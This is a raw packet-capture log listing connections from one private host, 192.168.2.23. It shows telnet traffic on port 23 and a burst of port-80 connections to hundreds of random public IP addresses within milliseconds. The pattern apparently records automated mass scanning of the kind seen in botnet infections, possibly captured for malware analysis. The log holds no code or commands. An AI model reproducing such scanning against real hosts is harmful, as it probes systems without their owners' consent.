Dec 3, 2024 22:11:48.941088915 CET	23	8163	217.4.193.21	192.168.2.23
Dec 3, 2024 22:11:48.941099882 CET	23	8163	89.177.33.178	192.168.2.23
Dec 3, 2024 22:11:48.941104889 CET	8163	23	192.168.2.23	218.132.177.251
Dec 3, 2024 22:11:48.941106081 CET	8163	23	192.168.2.23	50.17.148.105
Dec 3, 2024 22:11:48.941128969 CET	23	8163	95.232.207.240	192.168.2.23
Dec 3, 2024 22:11:48.941135883 CET	8163	23	192.168.2.23	89.177.33.178
Dec 3, 2024 22:11:48.941140890 CET	23	8163	80.129.97.218	192.168.2.23
Dec 3, 2024 22:11:48.941154957 CET	8163	23	192.168.2.23	217.4.193.21
Dec 3, 2024 22:11:48.941164970 CET	23	8163	12.183.16.81	192.168.2.23
Dec 3, 2024 22:11:48.941174030 CET	8163	23	192.168.2.23	95.232.207.240
Dec 3, 2024 22:11:48.941181898 CET	8163	23	192.168.2.23	80.129.97.218
Dec 3, 2024 22:11:48.941188097 CET	23	8163	171.210.185.157	192.168.2.23
Dec 3, 2024 22:11:48.941200018 CET	8163	23	192.168.2.23	12.183.16.81
Dec 3, 2024 22:11:48.941220999 CET	8163	23	192.168.2.23	171.210.185.157
Dec 3, 2024 22:11:48.941240072 CET	23	8163	50.3.20.6	192.168.2.23
Dec 3, 2024 22:11:48.941248894 CET	23	8163	52.65.141.59	192.168.2.23
Dec 3, 2024 22:11:48.941277981 CET	8163	23	192.168.2.23	50.3.20.6
Dec 3, 2024 22:11:48.941286087 CET	8163	23	192.168.2.23	52.65.141.59
Dec 3, 2024 22:11:48.941309929 CET	23	8163	78.214.234.12	192.168.2.23
Dec 3, 2024 22:11:48.941319942 CET	23	8163	201.188.98.162	192.168.2.23
Dec 3, 2024 22:11:48.941328049 CET	23	8163	18.143.173.21	192.168.2.23
Dec 3, 2024 22:11:48.941350937 CET	8163	23	192.168.2.23	201.188.98.162
Dec 3, 2024 22:11:48.941350937 CET	8163	23	192.168.2.23	78.214.234.12
Dec 3, 2024 22:11:48.941365004 CET	8163	23	192.168.2.23	18.143.173.21
Dec 3, 2024 22:11:48.967505932 CET	80	36434	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:48.967602968 CET	80	53186	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:48.967613935 CET	80	43644	60.191.15.52	192.168.2.23
Dec 3, 2024 22:11:48.967614889 CET	36434	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:48.967647076 CET	53186	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:48.967761040 CET	43644	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:48.967925072 CET	6883	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:48.967927933 CET	6883	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:48.967927933 CET	6883	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:48.967938900 CET	6883	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:48.967946053 CET	6883	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:48.967946053 CET	6883	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:48.967959881 CET	6883	80	192.168.2.23	73.198.100.128
Dec 3, 2024 22:11:48.967968941 CET	6883	80	192.168.2.23	18.95.134.160
Dec 3, 2024 22:11:48.967969894 CET	6883	80	192.168.2.23	204.226.131.205
Dec 3, 2024 22:11:48.967978954 CET	6883	80	192.168.2.23	96.21.221.79
Dec 3, 2024 22:11:48.967997074 CET	6883	80	192.168.2.23	158.140.253.112
Dec 3, 2024 22:11:48.967999935 CET	6883	80	192.168.2.23	122.209.192.206
Dec 3, 2024 22:11:48.967999935 CET	6883	80	192.168.2.23	166.163.205.111
Dec 3, 2024 22:11:48.968003035 CET	6883	80	192.168.2.23	83.201.32.226
Dec 3, 2024 22:11:48.968017101 CET	6883	80	192.168.2.23	199.171.165.18
Dec 3, 2024 22:11:48.968019962 CET	6883	80	192.168.2.23	40.55.134.47
Dec 3, 2024 22:11:48.968024969 CET	6883	80	192.168.2.23	183.170.69.212
Dec 3, 2024 22:11:48.968031883 CET	6883	80	192.168.2.23	62.241.62.192
Dec 3, 2024 22:11:48.968034029 CET	6883	80	192.168.2.23	76.137.50.161
Dec 3, 2024 22:11:48.968034983 CET	6883	80	192.168.2.23	122.200.10.81
Dec 3, 2024 22:11:48.968048096 CET	6883	80	192.168.2.23	142.173.67.189
Dec 3, 2024 22:11:48.968049049 CET	6883	80	192.168.2.23	112.230.214.143
Dec 3, 2024 22:11:48.968049049 CET	6883	80	192.168.2.23	5.150.252.103
Dec 3, 2024 22:11:48.968060017 CET	6883	80	192.168.2.23	75.63.160.184
Dec 3, 2024 22:11:48.968065023 CET	6883	80	192.168.2.23	81.183.238.108
Dec 3, 2024 22:11:48.968071938 CET	6883	80	192.168.2.23	125.158.202.239
Dec 3, 2024 22:11:48.968084097 CET	6883	80	192.168.2.23	108.0.127.179
Dec 3, 2024 22:11:48.968085051 CET	6883	80	192.168.2.23	149.32.131.19
Dec 3, 2024 22:11:48.968101978 CET	6883	80	192.168.2.23	34.193.74.104
Dec 3, 2024 22:11:48.968106985 CET	6883	80	192.168.2.23	149.193.17.193
Dec 3, 2024 22:11:48.968106985 CET	6883	80	192.168.2.23	139.156.22.10
Dec 3, 2024 22:11:48.968113899 CET	6883	80	192.168.2.23	139.17.125.37
Dec 3, 2024 22:11:48.968118906 CET	6883	80	192.168.2.23	71.113.17.249
Dec 3, 2024 22:11:48.968127012 CET	6883	80	192.168.2.23	155.252.4.229
Dec 3, 2024 22:11:48.968127012 CET	6883	80	192.168.2.23	80.84.8.241
Dec 3, 2024 22:11:48.968127012 CET	6883	80	192.168.2.23	134.163.218.214
Dec 3, 2024 22:11:48.968136072 CET	6883	80	192.168.2.23	41.175.214.143
Dec 3, 2024 22:11:48.968149900 CET	6883	80	192.168.2.23	47.96.17.91
Dec 3, 2024 22:11:48.968168020 CET	6883	80	192.168.2.23	141.55.100.218
Dec 3, 2024 22:11:48.968170881 CET	6883	80	192.168.2.23	182.11.227.120
Dec 3, 2024 22:11:48.968173027 CET	6883	80	192.168.2.23	209.112.171.42
Dec 3, 2024 22:11:48.968178034 CET	6883	80	192.168.2.23	1.6.203.205
Dec 3, 2024 22:11:48.968182087 CET	6883	80	192.168.2.23	203.103.221.97
Dec 3, 2024 22:11:48.968187094 CET	6883	80	192.168.2.23	120.178.231.93
Dec 3, 2024 22:11:48.968199015 CET	6883	80	192.168.2.23	128.165.234.153
Dec 3, 2024 22:11:48.968200922 CET	6883	80	192.168.2.23	151.230.134.32
Dec 3, 2024 22:11:48.968200922 CET	6883	80	192.168.2.23	27.100.153.0
Dec 3, 2024 22:11:48.968216896 CET	6883	80	192.168.2.23	94.212.163.59
Dec 3, 2024 22:11:48.968219042 CET	6883	80	192.168.2.23	203.208.216.120
Dec 3, 2024 22:11:48.968223095 CET	6883	80	192.168.2.23	102.238.184.27
Dec 3, 2024 22:11:48.968225002 CET	6883	80	192.168.2.23	157.157.15.64
Dec 3, 2024 22:11:48.968233109 CET	6883	80	192.168.2.23	126.82.214.31
Dec 3, 2024 22:11:48.968246937 CET	6883	80	192.168.2.23	96.183.18.103
Dec 3, 2024 22:11:48.968252897 CET	6883	80	192.168.2.23	186.37.183.3
Dec 3, 2024 22:11:48.968252897 CET	6883	80	192.168.2.23	202.220.65.233
Dec 3, 2024 22:11:48.968265057 CET	6883	80	192.168.2.23	159.43.153.167
Dec 3, 2024 22:11:48.968271017 CET	6883	80	192.168.2.23	202.218.3.223
Dec 3, 2024 22:11:48.968271971 CET	6883	80	192.168.2.23	120.200.159.245
Dec 3, 2024 22:11:48.968272924 CET	6883	80	192.168.2.23	186.195.25.76
Dec 3, 2024 22:11:48.968288898 CET	6883	80	192.168.2.23	133.143.151.124
Dec 3, 2024 22:11:48.968290091 CET	6883	80	192.168.2.23	86.46.247.201
Dec 3, 2024 22:11:48.968290091 CET	6883	80	192.168.2.23	193.23.247.170
Dec 3, 2024 22:11:48.968298912 CET	6883	80	192.168.2.23	34.193.85.206
Dec 3, 2024 22:11:48.968298912 CET	6883	80	192.168.2.23	74.32.30.6
Dec 3, 2024 22:11:48.968300104 CET	6883	80	192.168.2.23	180.78.83.222
Dec 3, 2024 22:11:48.968307018 CET	6883	80	192.168.2.23	155.187.69.68
Dec 3, 2024 22:11:48.968322992 CET	6883	80	192.168.2.23	206.36.44.192
Dec 3, 2024 22:11:48.968322992 CET	6883	80	192.168.2.23	109.85.167.116
Dec 3, 2024 22:11:48.968327999 CET	6883	80	192.168.2.23	47.7.185.108
Dec 3, 2024 22:11:48.968327999 CET	6883	80	192.168.2.23	48.231.88.106
Dec 3, 2024 22:11:48.968327999 CET	6883	80	192.168.2.23	206.58.250.101
Dec 3, 2024 22:11:48.968327999 CET	6883	80	192.168.2.23	113.111.93.5
Dec 3, 2024 22:11:48.968338013 CET	6883	80	192.168.2.23	62.157.225.90
Dec 3, 2024 22:11:48.968347073 CET	6883	80	192.168.2.23	42.244.122.151
Dec 3, 2024 22:11:48.968353987 CET	6883	80	192.168.2.23	111.145.79.224
Dec 3, 2024 22:11:48.968367100 CET	6883	80	192.168.2.23	93.193.61.237
Dec 3, 2024 22:11:48.968367100 CET	6883	80	192.168.2.23	156.96.201.118
Dec 3, 2024 22:11:48.968377113 CET	6883	80	192.168.2.23	128.93.209.43
Dec 3, 2024 22:11:48.968384027 CET	6883	80	192.168.2.23	14.35.159.90
Dec 3, 2024 22:11:48.968384027 CET	6883	80	192.168.2.23	103.151.211.249
Dec 3, 2024 22:11:48.968389034 CET	6883	80	192.168.2.23	211.162.147.70
Dec 3, 2024 22:11:48.968403101 CET	6883	80	192.168.2.23	61.175.19.4
Dec 3, 2024 22:11:48.968403101 CET	6883	80	192.168.2.23	145.87.245.129
Dec 3, 2024 22:11:48.968415976 CET	6883	80	192.168.2.23	188.132.172.138
Dec 3, 2024 22:11:48.968417883 CET	6883	80	192.168.2.23	137.26.242.164
Dec 3, 2024 22:11:48.968424082 CET	6883	80	192.168.2.23	110.12.102.127
Dec 3, 2024 22:11:48.968425035 CET	6883	80	192.168.2.23	142.160.146.155
Dec 3, 2024 22:11:48.968444109 CET	6883	80	192.168.2.23	43.104.11.216
Dec 3, 2024 22:11:48.968445063 CET	6883	80	192.168.2.23	97.227.28.20
Dec 3, 2024 22:11:48.968447924 CET	6883	80	192.168.2.23	210.45.255.51
Dec 3, 2024 22:11:48.968456984 CET	6883	80	192.168.2.23	150.159.106.161
Dec 3, 2024 22:11:48.968461037 CET	6883	80	192.168.2.23	38.9.222.194
Dec 3, 2024 22:11:48.968463898 CET	6883	80	192.168.2.23	8.143.50.186
Dec 3, 2024 22:11:48.968466043 CET	6883	80	192.168.2.23	146.110.17.169
Dec 3, 2024 22:11:48.968476057 CET	6883	80	192.168.2.23	128.226.106.77
Dec 3, 2024 22:11:48.968481064 CET	6883	80	192.168.2.23	139.146.152.83
Dec 3, 2024 22:11:48.968481064 CET	6883	80	192.168.2.23	126.110.40.82
Dec 3, 2024 22:11:48.968483925 CET	6883	80	192.168.2.23	156.0.187.89
Dec 3, 2024 22:11:48.968487978 CET	6883	80	192.168.2.23	36.32.219.30
Dec 3, 2024 22:11:48.968506098 CET	6883	80	192.168.2.23	153.175.33.32
Dec 3, 2024 22:11:48.968508005 CET	6883	80	192.168.2.23	161.1.72.105
Dec 3, 2024 22:11:48.968508959 CET	6883	80	192.168.2.23	38.125.40.159
Dec 3, 2024 22:11:48.968517065 CET	6883	80	192.168.2.23	212.0.20.51
Dec 3, 2024 22:11:48.968518019 CET	6883	80	192.168.2.23	76.189.49.139
Dec 3, 2024 22:11:48.968518019 CET	6883	80	192.168.2.23	115.27.250.21
Dec 3, 2024 22:11:48.968518019 CET	6883	80	192.168.2.23	173.2.112.212
Dec 3, 2024 22:11:48.968521118 CET	6883	80	192.168.2.23	92.76.188.135
Dec 3, 2024 22:11:48.968529940 CET	6883	80	192.168.2.23	23.240.219.44
Dec 3, 2024 22:11:48.968530893 CET	6883	80	192.168.2.23	129.221.95.26
Dec 3, 2024 22:11:48.968530893 CET	6883	80	192.168.2.23	211.194.227.37
Dec 3, 2024 22:11:48.968530893 CET	6883	80	192.168.2.23	210.200.234.185
Dec 3, 2024 22:11:48.968543053 CET	6883	80	192.168.2.23	149.88.100.128
Dec 3, 2024 22:11:48.968548059 CET	6883	80	192.168.2.23	112.231.103.241
Dec 3, 2024 22:11:48.968550920 CET	6883	80	192.168.2.23	216.236.31.1
Dec 3, 2024 22:11:48.968566895 CET	6883	80	192.168.2.23	189.154.78.85
Dec 3, 2024 22:11:48.968569040 CET	6883	80	192.168.2.23	88.216.222.179
Dec 3, 2024 22:11:48.968578100 CET	6883	80	192.168.2.23	179.87.23.127
Dec 3, 2024 22:11:48.968578100 CET	6883	80	192.168.2.23	96.248.70.117
Dec 3, 2024 22:11:48.968590975 CET	6883	80	192.168.2.23	31.208.10.175
Dec 3, 2024 22:11:48.968594074 CET	6883	80	192.168.2.23	173.221.9.173
Dec 3, 2024 22:11:48.968594074 CET	6883	80	192.168.2.23	112.211.64.212
Dec 3, 2024 22:11:48.968600988 CET	6883	80	192.168.2.23	190.5.92.89
Dec 3, 2024 22:11:48.968609095 CET	6883	80	192.168.2.23	103.201.76.118
Dec 3, 2024 22:11:48.968614101 CET	6883	80	192.168.2.23	34.177.52.77
Dec 3, 2024 22:11:48.968617916 CET	6883	80	192.168.2.23	61.191.122.99
Dec 3, 2024 22:11:48.968621016 CET	6883	80	192.168.2.23	192.237.79.68
Dec 3, 2024 22:11:48.968637943 CET	6883	80	192.168.2.23	38.3.38.215
Dec 3, 2024 22:11:48.968641043 CET	6883	80	192.168.2.23	50.30.48.235
Dec 3, 2024 22:11:48.968641043 CET	6883	80	192.168.2.23	83.5.109.171
Dec 3, 2024 22:11:48.968647957 CET	6883	80	192.168.2.23	101.135.114.225
Dec 3, 2024 22:11:48.968652010 CET	6883	80	192.168.2.23	121.79.190.179
Dec 3, 2024 22:11:48.968657017 CET	6883	80	192.168.2.23	64.195.142.103
Dec 3, 2024 22:11:48.968657017 CET	6883	80	192.168.2.23	84.211.57.128
Dec 3, 2024 22:11:48.968657017 CET	6883	80	192.168.2.23	53.229.15.21
Dec 3, 2024 22:11:48.968658924 CET	6883	80	192.168.2.23	119.148.101.48
Dec 3, 2024 22:11:48.968668938 CET	6883	80	192.168.2.23	177.178.203.187
Dec 3, 2024 22:11:48.968669891 CET	6883	80	192.168.2.23	76.103.184.94
Dec 3, 2024 22:11:48.968669891 CET	6883	80	192.168.2.23	174.130.164.130
Dec 3, 2024 22:11:48.968677044 CET	6883	80	192.168.2.23	219.6.243.144
Dec 3, 2024 22:11:48.968677998 CET	6883	80	192.168.2.23	195.247.18.211
Dec 3, 2024 22:11:48.968677998 CET	6883	80	192.168.2.23	153.112.195.241
Dec 3, 2024 22:11:48.968686104 CET	6883	80	192.168.2.23	201.71.135.224
Dec 3, 2024 22:11:48.968704939 CET	6883	80	192.168.2.23	81.165.220.34
Dec 3, 2024 22:11:48.968705893 CET	6883	80	192.168.2.23	95.177.12.155
Dec 3, 2024 22:11:48.968707085 CET	6883	80	192.168.2.23	113.110.179.187
Dec 3, 2024 22:11:48.968705893 CET	6883	80	192.168.2.23	81.190.188.117
Dec 3, 2024 22:11:48.968705893 CET	6883	80	192.168.2.23	196.229.209.66
Dec 3, 2024 22:11:48.968705893 CET	6883	80	192.168.2.23	139.200.162.133
Dec 3, 2024 22:11:48.968705893 CET	6883	80	192.168.2.23	86.234.3.175
Dec 3, 2024 22:11:48.968709946 CET	6883	80	192.168.2.23	217.200.159.113
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	207.166.99.233
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	96.196.72.66
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	99.9.63.33
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	199.216.78.190
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	19.139.64.142
Dec 3, 2024 22:11:48.968712091 CET	6883	80	192.168.2.23	220.51.208.183
Dec 3, 2024 22:11:48.968714952 CET	6883	80	192.168.2.23	222.102.70.164
Dec 3, 2024 22:11:48.968714952 CET	6883	80	192.168.2.23	77.164.234.159
Dec 3, 2024 22:11:48.968715906 CET	6883	80	192.168.2.23	18.213.187.164
Dec 3, 2024 22:11:48.968724966 CET	6883	80	192.168.2.23	221.244.154.168
Dec 3, 2024 22:11:48.968728065 CET	6883	80	192.168.2.23	80.55.212.243
Dec 3, 2024 22:11:48.968728065 CET	6883	80	192.168.2.23	192.93.5.18
Dec 3, 2024 22:11:48.968729019 CET	6883	80	192.168.2.23	148.31.104.109
Dec 3, 2024 22:11:48.968729019 CET	6883	80	192.168.2.23	71.253.38.69
Dec 3, 2024 22:11:48.968733072 CET	6883	80	192.168.2.23	57.104.7.5
Dec 3, 2024 22:11:48.968733072 CET	6883	80	192.168.2.23	89.54.133.61
Dec 3, 2024 22:11:48.968741894 CET	6883	80	192.168.2.23	164.123.135.189
Dec 3, 2024 22:11:48.968741894 CET	6883	80	192.168.2.23	105.190.95.40
Dec 3, 2024 22:11:48.968741894 CET	6883	80	192.168.2.23	158.233.254.122
Dec 3, 2024 22:11:48.968743086 CET	6883	80	192.168.2.23	12.45.207.27
Dec 3, 2024 22:11:48.968749046 CET	6883	80	192.168.2.23	103.65.127.244
Dec 3, 2024 22:11:48.968749046 CET	6883	80	192.168.2.23	177.238.229.28
Dec 3, 2024 22:11:48.968750000 CET	6883	80	192.168.2.23	60.241.93.194
Dec 3, 2024 22:11:48.968750954 CET	6883	80	192.168.2.23	98.43.103.152
Dec 3, 2024 22:11:48.968750954 CET	6883	80	192.168.2.23	186.171.158.142
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	114.78.223.24
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	161.142.72.125
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	40.179.38.221
Dec 3, 2024 22:11:48.968767881 CET	6883	80	192.168.2.23	121.20.209.183
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	18.155.117.66
Dec 3, 2024 22:11:48.968770027 CET	6883	80	192.168.2.23	104.92.160.219
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	74.109.212.73
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	67.4.174.167
Dec 3, 2024 22:11:48.968770981 CET	6883	80	192.168.2.23	176.134.225.38
Dec 3, 2024 22:11:48.968766928 CET	6883	80	192.168.2.23	217.171.80.91
Dec 3, 2024 22:11:48.968781948 CET	6883	80	192.168.2.23	101.39.214.222
Dec 3, 2024 22:11:48.968785048 CET	6883	80	192.168.2.23	66.111.147.66
Dec 3, 2024 22:11:48.968785048 CET	6883	80	192.168.2.23	173.109.190.175
Dec 3, 2024 22:11:48.968786001 CET	6883	80	192.168.2.23	13.110.122.173
Dec 3, 2024 22:11:48.968786001 CET	6883	80	192.168.2.23	5.138.131.154
Dec 3, 2024 22:11:48.968786955 CET	6883	80	192.168.2.23	73.94.173.129
Dec 3, 2024 22:11:48.968786955 CET	6883	80	192.168.2.23	173.64.21.97
Dec 3, 2024 22:11:48.968786955 CET	6883	80	192.168.2.23	98.65.11.121
Dec 3, 2024 22:11:48.968786955 CET	6883	80	192.168.2.23	209.98.110.95
Dec 3, 2024 22:11:48.968795061 CET	6883	80	192.168.2.23	169.170.245.91
Dec 3, 2024 22:11:48.968795061 CET	6883	80	192.168.2.23	196.86.73.14
Dec 3, 2024 22:11:48.968802929 CET	6883	80	192.168.2.23	70.55.237.211
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	61.227.249.43
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	171.226.186.85
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	119.255.199.120
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	54.113.70.152
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	44.248.187.125
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	167.105.74.238
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	65.223.224.163
Dec 3, 2024 22:11:48.968805075 CET	6883	80	192.168.2.23	88.202.171.114
Dec 3, 2024 22:11:48.968810081 CET	6883	80	192.168.2.23	136.198.20.0
Dec 3, 2024 22:11:48.968810081 CET	6883	80	192.168.2.23	36.62.102.246
Dec 3, 2024 22:11:48.968812943 CET	6883	80	192.168.2.23	223.13.137.101
Dec 3, 2024 22:11:48.968812943 CET	6883	80	192.168.2.23	199.65.210.26
Dec 3, 2024 22:11:48.968821049 CET	6883	80	192.168.2.23	165.8.108.51
Dec 3, 2024 22:11:48.968827009 CET	6883	80	192.168.2.23	188.228.142.10
Dec 3, 2024 22:11:48.968827009 CET	6883	80	192.168.2.23	18.223.206.115
Dec 3, 2024 22:11:48.968827009 CET	6883	80	192.168.2.23	207.58.173.127
Dec 3, 2024 22:11:48.968827009 CET	6883	80	192.168.2.23	25.65.174.136
Dec 3, 2024 22:11:48.968830109 CET	6883	80	192.168.2.23	114.37.251.117
Dec 3, 2024 22:11:48.968827009 CET	6883	80	192.168.2.23	37.18.48.71
Dec 3, 2024 22:11:48.968833923 CET	6883	80	192.168.2.23	125.37.72.208
Dec 3, 2024 22:11:48.968837976 CET	6883	80	192.168.2.23	27.150.109.170
Dec 3, 2024 22:11:48.968844891 CET	6883	80	192.168.2.23	46.151.203.178
Dec 3, 2024 22:11:48.968847990 CET	6883	80	192.168.2.23	65.197.201.65
Dec 3, 2024 22:11:48.968853951 CET	6883	80	192.168.2.23	92.179.255.241
Dec 3, 2024 22:11:48.968857050 CET	6883	80	192.168.2.23	1.140.124.33
Dec 3, 2024 22:11:48.968862057 CET	6883	80	192.168.2.23	44.93.26.210
Dec 3, 2024 22:11:48.968867064 CET	6883	80	192.168.2.23	25.56.56.241
Dec 3, 2024 22:11:48.968867064 CET	6883	80	192.168.2.23	158.234.228.159
Dec 3, 2024 22:11:48.968871117 CET	6883	80	192.168.2.23	180.41.84.219
Dec 3, 2024 22:11:48.968871117 CET	6883	80	192.168.2.23	85.4.79.104
Dec 3, 2024 22:11:48.968880892 CET	6883	80	192.168.2.23	76.254.231.151
Dec 3, 2024 22:11:48.968884945 CET	6883	80	192.168.2.23	92.175.95.1
Dec 3, 2024 22:11:48.968884945 CET	6883	80	192.168.2.23	95.114.1.220
Dec 3, 2024 22:11:48.968884945 CET	6883	80	192.168.2.23	203.14.30.207
Dec 3, 2024 22:11:48.968888044 CET	6883	80	192.168.2.23	36.188.255.50
Dec 3, 2024 22:11:48.968888044 CET	6883	80	192.168.2.23	208.103.52.248
Dec 3, 2024 22:11:48.968890905 CET	6883	80	192.168.2.23	107.105.197.166
Dec 3, 2024 22:11:48.968893051 CET	6883	80	192.168.2.23	202.251.31.139
Dec 3, 2024 22:11:48.968914032 CET	6883	80	192.168.2.23	118.250.207.92
Dec 3, 2024 22:11:48.968914986 CET	6883	80	192.168.2.23	201.39.34.138
Dec 3, 2024 22:11:48.968914986 CET	6883	80	192.168.2.23	197.186.161.112
Dec 3, 2024 22:11:48.968918085 CET	6883	80	192.168.2.23	44.174.39.49
Dec 3, 2024 22:11:48.968918085 CET	6883	80	192.168.2.23	179.135.100.94
Dec 3, 2024 22:11:48.968919039 CET	6883	80	192.168.2.23	121.38.154.47
Dec 3, 2024 22:11:48.968918085 CET	6883	80	192.168.2.23	210.53.168.79
Dec 3, 2024 22:11:48.968918085 CET	6883	80	192.168.2.23	97.8.76.62
Dec 3, 2024 22:11:48.968919039 CET	6883	80	192.168.2.23	219.185.51.200
Dec 3, 2024 22:11:48.968924999 CET	6883	80	192.168.2.23	219.137.112.72
Dec 3, 2024 22:11:48.968924999 CET	6883	80	192.168.2.23	4.142.245.209
Dec 3, 2024 22:11:48.968924999 CET	6883	80	192.168.2.23	62.100.164.30
Dec 3, 2024 22:11:48.968929052 CET	6883	80	192.168.2.23	203.211.47.193
Dec 3, 2024 22:11:48.968929052 CET	6883	80	192.168.2.23	92.184.114.230
Dec 3, 2024 22:11:48.968930006 CET	6883	80	192.168.2.23	99.123.172.204
Dec 3, 2024 22:11:48.968930006 CET	6883	80	192.168.2.23	76.198.29.223
Dec 3, 2024 22:11:48.968930006 CET	6883	80	192.168.2.23	202.145.139.204
Dec 3, 2024 22:11:48.968930960 CET	6883	80	192.168.2.23	52.192.173.142
Dec 3, 2024 22:11:48.968934059 CET	6883	80	192.168.2.23	155.43.251.121
Dec 3, 2024 22:11:48.968934059 CET	6883	80	192.168.2.23	45.138.112.147
Dec 3, 2024 22:11:48.968935966 CET	6883	80	192.168.2.23	138.35.244.21
Dec 3, 2024 22:11:48.968935966 CET	6883	80	192.168.2.23	93.175.74.44
Dec 3, 2024 22:11:48.968935966 CET	6883	80	192.168.2.23	154.230.245.71
Dec 3, 2024 22:11:48.968950033 CET	6883	80	192.168.2.23	206.222.18.230
Dec 3, 2024 22:11:48.968950033 CET	6883	80	192.168.2.23	143.3.32.141
Dec 3, 2024 22:11:48.968950033 CET	6883	80	192.168.2.23	114.26.182.210
Dec 3, 2024 22:11:48.968950987 CET	6883	80	192.168.2.23	166.92.50.182
Dec 3, 2024 22:11:48.968950987 CET	6883	80	192.168.2.23	197.241.39.139
Dec 3, 2024 22:11:48.968952894 CET	6883	80	192.168.2.23	155.55.0.23
Dec 3, 2024 22:11:48.968959093 CET	6883	80	192.168.2.23	199.230.110.89
Dec 3, 2024 22:11:48.968960047 CET	6883	80	192.168.2.23	125.75.85.224
Dec 3, 2024 22:11:48.968959093 CET	6883	80	192.168.2.23	204.198.210.37
Dec 3, 2024 22:11:48.968960047 CET	6883	80	192.168.2.23	202.227.130.120
Dec 3, 2024 22:11:48.968960047 CET	6883	80	192.168.2.23	70.121.174.34
Dec 3, 2024 22:11:48.968971968 CET	6883	80	192.168.2.23	50.232.232.102
Dec 3, 2024 22:11:48.968988895 CET	6883	80	192.168.2.23	182.143.219.144
Dec 3, 2024 22:11:48.968992949 CET	6883	80	192.168.2.23	223.132.39.97
Dec 3, 2024 22:11:48.968998909 CET	6883	80	192.168.2.23	217.171.67.153
Dec 3, 2024 22:11:48.968998909 CET	6883	80	192.168.2.23	90.64.72.81
Dec 3, 2024 22:11:48.969002962 CET	6883	80	192.168.2.23	186.124.250.6
Dec 3, 2024 22:11:48.969002962 CET	6883	80	192.168.2.23	63.99.233.30
Dec 3, 2024 22:11:48.969007015 CET	6883	80	192.168.2.23	91.37.82.111
Dec 3, 2024 22:11:48.969007015 CET	6883	80	192.168.2.23	27.141.110.17
Dec 3, 2024 22:11:48.969021082 CET	6883	80	192.168.2.23	47.114.4.239
Dec 3, 2024 22:11:48.969033003 CET	6883	80	192.168.2.23	168.247.64.204
Dec 3, 2024 22:11:48.969033003 CET	6883	80	192.168.2.23	20.26.61.204
Dec 3, 2024 22:11:48.969039917 CET	6883	80	192.168.2.23	194.197.65.121
Dec 3, 2024 22:11:48.969039917 CET	6883	80	192.168.2.23	167.61.239.86
Dec 3, 2024 22:11:48.969048977 CET	6883	80	192.168.2.23	181.240.110.6
Dec 3, 2024 22:11:48.969048977 CET	6883	80	192.168.2.23	140.156.147.0
Dec 3, 2024 22:11:48.969048977 CET	6883	80	192.168.2.23	222.163.74.87
Dec 3, 2024 22:11:48.969048977 CET	6883	80	192.168.2.23	137.18.40.102
Dec 3, 2024 22:11:48.969055891 CET	6883	80	192.168.2.23	40.104.253.148
Dec 3, 2024 22:11:48.969073057 CET	6883	80	192.168.2.23	221.111.95.127
Dec 3, 2024 22:11:48.969079018 CET	6883	80	192.168.2.23	113.24.237.121
Dec 3, 2024 22:11:48.969079971 CET	6883	80	192.168.2.23	67.11.237.182
Dec 3, 2024 22:11:48.969084978 CET	6883	80	192.168.2.23	142.34.213.25
Dec 3, 2024 22:11:48.969084978 CET	6883	80	192.168.2.23	24.213.36.65
Dec 3, 2024 22:11:48.969084978 CET	6883	80	192.168.2.23	36.115.138.176
Dec 3, 2024 22:11:48.969093084 CET	6883	80	192.168.2.23	17.87.15.111
Dec 3, 2024 22:11:48.969099045 CET	6883	80	192.168.2.23	61.160.255.80
Dec 3, 2024 22:11:48.969101906 CET	6883	80	192.168.2.23	136.24.156.131
Dec 3, 2024 22:11:48.969120026 CET	6883	80	192.168.2.23	40.148.101.196
Dec 3, 2024 22:11:48.969120026 CET	6883	80	192.168.2.23	197.49.130.152
Dec 3, 2024 22:11:48.969121933 CET	6883	80	192.168.2.23	173.182.35.228
Dec 3, 2024 22:11:48.969122887 CET	6883	80	192.168.2.23	63.142.75.223
Dec 3, 2024 22:11:48.969130039 CET	6883	80	192.168.2.23	219.169.41.66
Dec 3, 2024 22:11:48.969130039 CET	6883	80	192.168.2.23	64.20.45.91
Dec 3, 2024 22:11:48.969130993 CET	6883	80	192.168.2.23	110.16.54.127
Dec 3, 2024 22:11:48.969134092 CET	6883	80	192.168.2.23	153.123.176.17
Dec 3, 2024 22:11:48.969139099 CET	6883	80	192.168.2.23	79.4.223.182
Dec 3, 2024 22:11:48.969142914 CET	6883	80	192.168.2.23	107.249.111.0
Dec 3, 2024 22:11:48.969142914 CET	6883	80	192.168.2.23	132.195.238.28
Dec 3, 2024 22:11:48.969145060 CET	6883	80	192.168.2.23	184.178.106.66
Dec 3, 2024 22:11:48.969145060 CET	6883	80	192.168.2.23	192.127.76.97
